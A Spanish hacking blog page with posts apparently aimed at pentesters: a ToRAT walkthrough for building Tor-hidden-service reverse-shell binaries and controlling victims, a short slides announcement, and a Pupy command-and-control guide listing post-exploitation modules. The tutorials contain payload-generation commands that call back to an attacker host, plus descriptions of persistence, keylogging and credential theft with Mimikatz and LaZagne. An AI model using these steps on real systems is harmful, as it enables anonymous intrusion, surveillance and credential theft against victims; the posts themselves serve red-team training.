  • ToRAT está muy orientado a dispositivos de usuario sin tener muy en cuenta el apartado de red de la víctima. Además, trata de abstraer al atacante en el uso de Tor.
  • Offensive Tor Toolkit está muy orientado al uso en pentesting contra servidores Linux. Además, trata de simplificar el uso de Tor en el lado de la víctima.

Además, en el apartado de pivoting, resulta una herramienta muy útil para el pentesting con Tor. Simplifica enormemente el proceso de post-explotación y cabe destacar la facilidad de integración con otras herramientas gracias a la sencillez de la implementación.

A pesar de que es una herramienta muy joven, Offensive Tor Toolkit ya cuenta con características muy interesantes para el pentesting. ¿Te animas a probarla?

Álvaro Torres Cogollo.

Quieres contactar conmigo? Te dejo mis redes sociales a continuación.

Categorías
Hacking

ToRAT: Reverse shells sobre Tor

ToRAT es una herramienta que permite ejecutar reverse shells aprovechando el anonimato que proporciona Tor. El modo de funcionamiento es el siguiente:

  1. El atacante configura una instancia de Tor para que ejecute un Hidden Service.
  2. El atacante genera los binarios (con una instancia de Tor embebida) que ejecutará la víctima.
  3. Tras la ejecución del binario, la víctima iniciará una instancia de Tor que le permitirá comunicarse con el Hidden Service del atacante.

Creación del Hidden Service y binarios

Lo primero es descargar la herramienta y compilar los binarios para las víctimas. Para mayor facilidad de uso, esta tarea se puede realizar usando contenedores Docker:

  1. Clonamos el repositorio y creamos la imagen de ToRAT. Con ello, se generarán la clave y el certificado del Hidden Service. Esto significa que los contenedores desplegados a partir de esa imagen y los binarios de las víctimas tendrán configurado el mismo Hidden Service.
$ git clone https://github.com/lu4p/ToRat.git && cd ./ToRat
$ sudo docker build . -t torat
...
        serverDomain = "lfnd36...bruzvyd.onion"
        serverPort   = ":1337"
        serverAddr   = serverDomain + serverPort
...
        ServerPubKey, _ = crypto.CertToPubKey(serverCert)
...
  21325616 ->  10775636   50.53%   linux/amd64   client_linux
  22107648 ->  10323968   46.70%    win64/pe     client_windows.exe
  1. Para iniciar el Hidden Service y el handler, solo tenemos que arrancar el contenedor a partir de la imagen que acabamos de generar:
$ sudo docker run -it -v "$(pwd)"/dist:/dist_ext torat

Con esto, el handler de ToRat empezará a escuchar conexiones en un Hidden Service de Tor. La herramienta nos da acceso al siguiente menú interactivo:

$ sudo docker run -it -v "$(pwd)"/dist:/dist_ext torat
...
[Server] /dist_ext/dist/server$ help

Commands:
  alias       give a client an alias
  cd          change the working directory of the server
  clear       clear the screen
  exit        exit the server
  help        display help
  list        list all connected clients
  select      interact with a client

Reverse shell desde la víctima

Es el momento de subir y ejecutar el binario en la víctima. Para no romper el anonimato, este binario debería subirse a la víctima usando algún servicio que haga de intermediario.

Tras la ejecución del binario en la víctima, recibimos una sesión en el handler lanzado en el atacante:

$ sudo docker run -it -v "$(pwd)"/dist:/dist_ext torat
...
[+] New Client vBHv3Vc5awx39ivu connected!
[Server] /dist_ext/dist/server$ list
Clients:
0       vBHv3Vc5awx39ivu        vBHv3Vc5awx39ivu

Interacción con la víctima

Primero elegimos la víctima sobre la que queremos interactuar con el comando select:

[Server] /dist_ext/dist/server$ select
 ❯ 0    vBHv3Vc5awx39ivu        vBHv3Vc5awx39ivu

/data$ help

Commands:
  cat            print the content of a file: usage cat <file>
  cd             change the working directory of the client
  clear          clear the screen
  down           download a file from the client: usage down <file>
  escape         escape a command and run it natively on client
  exit           background the current session
  help           display help
  reconnect      tell the client to reconnect
  screen         take a screenshot of the client and upload it to the server
  up             upload a file from the cwd of the Server to cwd of the client: usage up <file>

En este momento, ya estamos interactuando con la víctima y podemos ejecutar comandos, subir y descargar ficheros, etc.

Conclusiones

ToRAT es una herramienta muy útil para ganar acceso a las víctimas preservando el anonimato del atacante. Simplifica muchísimo la interacción con Tor. De hecho, es prácticamente transparente para el atacante y soporta víctimas con sistemas operativos basados en Linux y en Windows como víctimas.

Sin embargo, es un proyecto muy joven que necesita de mucha más estabilidad y desarrollo de nuevas características. En concreto, echamos en falta integración con otras herramientas como Metasploit, shells más interactivas y redirecciones de puertos para pivoting, entre otras.

Queda claro que es una opción a considerar de cara al futuro del pentesting con Tor. Por ello, te animo a que pruebes esta herramienta.

Álvaro Torres Cogollo.

Quieres contactar conmigo? Te dejo mis redes sociales a continuación.

Categorías
Hacking Hacking Python Networking Services - Software Web Applications

Presentaciones en eventos de Ciberseguridad.

Ya llevo algunos años asistiendo como ponente en algunos eventos sobre hacking y muchas han sido las ocasiones en las que algún asistente me ha pedido las diapositivas que he utilizado, pero claro, como muchas otras cosas le he hecho un RST o lo he ido dejando pasar hasta que finalmente han ido a parar a  /dev/null
Normalmente soy muy ordenado con mis documentos, desafortunadamente no ha sido así para las presentaciones y no encuentro todas las diapositivas utilizadas en los eventos a los que he asistido pero he rescatado algunas cuantas, así que se me ha ocurrido subirlas a SlideShare para que estén disponibles para todo el mundo. Espero que os gusten: https://es2.slideshare.net/jdaanial

Veremos si el cambio de SlideShare ayuda a mejorar el servicio 🙂

Un saludo y Happy Hack!
Adastra.

 

Categorías
Explotación de Software Hacking Networking Services - Software

RedTeaming: Command and Control con Pupy Parte III

En la parte 2 sobre el uso de Pupy se hablaba sobre cómo es la gestión de agentes en sistemas Linux, sin embargo para sistemas Windows Pupy también ofrece una amplia variedad de comandos que son muy útiles en post-explotación. En esta entrada se explicarán algunos de ellos, los que en mi opinión son los más interesantes.

En primer lugar, el comando para la generación del agente que luego se debe transferir a la máquina víctima es muy similar en Windows y en Linux, tal como se puede apreciar en la siguiente imagen.

Existen otras opciones de configuración que no se indican en el comando pero que se establecen en el fichero de configuración “pupy.conf.default”. Si por ejemplo el servidor de Pupy se encuentra en una máquina diferente a la que se está utilizando para generar el payload o en una IP concreta, se puede utilizar la opción “connect –host <IP>”. Por ejemplo:

pupygen.py -O windows -A x64 -o /tmp/windowsshell.exe connect –host 192.168.1.130:443

 

Comandos disponibles en Pupy a ejecutar contra los agentes conectados.

Con “help” únicamente aparecerán los comandos básicos, pero si se utiliza la opción “help -M” se podrá ver un listado completo de todas las alternativas disponibles de cara a realizar procedimientos de post-explotación en profundidad.
Por otro lado, los comandos ejecutados desde la consola de Pupy afectan a todas las sesiones que se encuentren abiertas, es decir, que se ejecutarán sobre todos los clientes. Para cambiar este comportamiento y especificar que los comandos deben ejecutarse sobre un único zombie o un subconjunto de ellos es necesario utilizar el comando “sessions” con la opción “-i” en donde es posible especificar un listado de identificadores de sesiones separados por coma. Si se indica un único identificador los módulos/comandos se ejecutarán contra ese cliente. Si se especifica una lista de identificadores separados por comas los comandos se ejecutarán contra todos y cada uno de los agentes indicados.
A partir de este momento es posible ejecutar los módulos disponibles en Pupy. A continuación se listan algunos de los más interesantes para Windows.

• shell: Es un comando que funciona en todos los payloads independiente de si es Linux, Windows o Android. En ocasiones resulta conveniente tener una shell directa contra el sistema y ejecutar comandos de todo tipo. En este caso es una shell interactiva.
• mount: Permite listar todas las particiones en el sistema comprometido y los dispositivos que se encuentran montados.
• migrate: Similar al comando migrate del payload Meterpreter en Metasploit Framework. En el caso de Pupy no solamente se encarga de migrar el payload a otro proceso más estable en el sistema sino que además permite crear un proceso nuevo en el caso de que haga falta. Todo esto sin escribir nada en disco para evitar la detección.
• persistence. En todos los payloads disponibles en Pupy se encuentra habilitada la persistencia por defecto. Cuando se ejecuta el módulo sin ningún parámetro simplemente se encarga de habilitar o deshabilitar la persistencia en el sistema comprometido. Cuenta con más opciones de configuración para sistemas Windows que en Linux. En el caso de que el payload sea para Linux solamente se puede utilizar el argumento “-s” para indicar que el mecanismo de persistencia utilizado deberá ser una librería compartida en lugar de un fichero de configuración Systemd. Finalmente, la opción “–remove” permite eliminar cualquier fichero relacionado con el mecanismo de persistencia, realizando una limpieza básica en el sistema comprometido.
• duplicate: Simplemente duplica el payload actual y genera un nuevo proceso con él. Con la opción “-m” intentará impersonalizar el token de usuario actual. Aunque se puede utilizar en sistemas Linux ya que el comando no dará ningún error, en realidad solo tiene sentido (y efecto) en sistemas Windows. Una vez se ejecuta el módulo es normal obtener una nueva sesión.
• tcpdump: Este módulo representa un subconjunto de las funcionalidades disponibles en la herramienta tcpdump. Entre otras cosas, permite la captura pasiva de tráfico utilizando filtros BPF y guardar los resultados en un fichero PCAP.
• users: Permite obtener el listado de usuarios interactivos en el sistema.
• port_scan: Se trata de un escáner de puertos muy básico basado en TCP. Puede ser útil en el caso de que no sea posible subir/instalar Nmap u otra utilidad más potente al sistema comprometido.
• search: Ideal para realizar búsquedas de forma recursiva sobre un directorio. Admite expresiones básicas para buscar ficheros/directorios que coincidan con la cadena especificada.
• download: Descarga uno o varios ficheros del sistema comprometido. Admite expresiones básicas, ficheros que se pueden incluir o excluir del proceso de descarga y también, realizar solamente el cálculo del tamaño de la descarga lo cual es muy útil para hacerse una idea de cuánto se descargaría en el caso de continuar.
• upload: Se trata de un módulo muy simple que se encarga de subir un fichero o directorio a una ruta concreta en la máquina comprometida.
• forward: Permite la creación de un redirector de puertos básico, así como el establecimiento de un servidor proxy SOCKS en el objetivo. Es ideal para llevar a cabo técnicas de pivoting y port-forwarding utilizando el sistema comprometido como pasarela.
• lock_screen: Simplemente se encarga de invocar a la pantalla de bloqueo del sistema operativo.
• memory_exec: Como su nombre indica, se encarga de ejecutar un binario en el sistema operativo, completamente desde memoria.
• tasks: Obtiene información de las tareas que se están ejecutando en segundo plano.
• keylogger: Permite la instalación de un sistema de vigilancia muy sencillo pero potente. Es capaz no solamente de capturar las pulsaciones del teclado en el sistema comprometido, sino que además registra la actividad del usuario y los programas que utiliza.

• mimikatz/mimishell: Se trata de comandos que permiten la subida y ejecución de Mimikatz en el sistema comprometido. Es importante editar el fichero de configuración de Pupy para indicar la ubicación del binario. El comando “mimikatz” es un comando directo, no interactivo, que permite extraer la mayor cantidad de credenciales cargadas en la memoria del sistema operativo, mientras que el comando “mimishell” es un comando interactivo que permite ejecutar las instrucciones disponibles en Mimikatz desde un interprete básico.
• lazagne: Se trata de un proyecto que se encuentra integrado en Pupy y que permite la recuperación de contraseñas almacenadas en el sistema comprometido, funciona de una forma similar a Mimikatz.
• rdp: Permite habilitar o deshabilitar el escritorio remoto en sistemas Windows.
• logs: Se encarga de volcar los logs del sistema y separa por categorías, por ejemplo puede enseñar los logs producidos por aplicaciones concretas, eventos de seguridad, aquellos que han sido generados por Powershell, etc.
• psh: Permite la carga o ejecución de scripts e instrucciones en Powershell.



Como se puede apreciar es una herramienta muy completa que tiene cabida en cualquier campaña de Red Team. Espero que tengas la posibilidad de probarla y explores sus funcionalidades.

Un saludo y Happy Hack!
Adastra.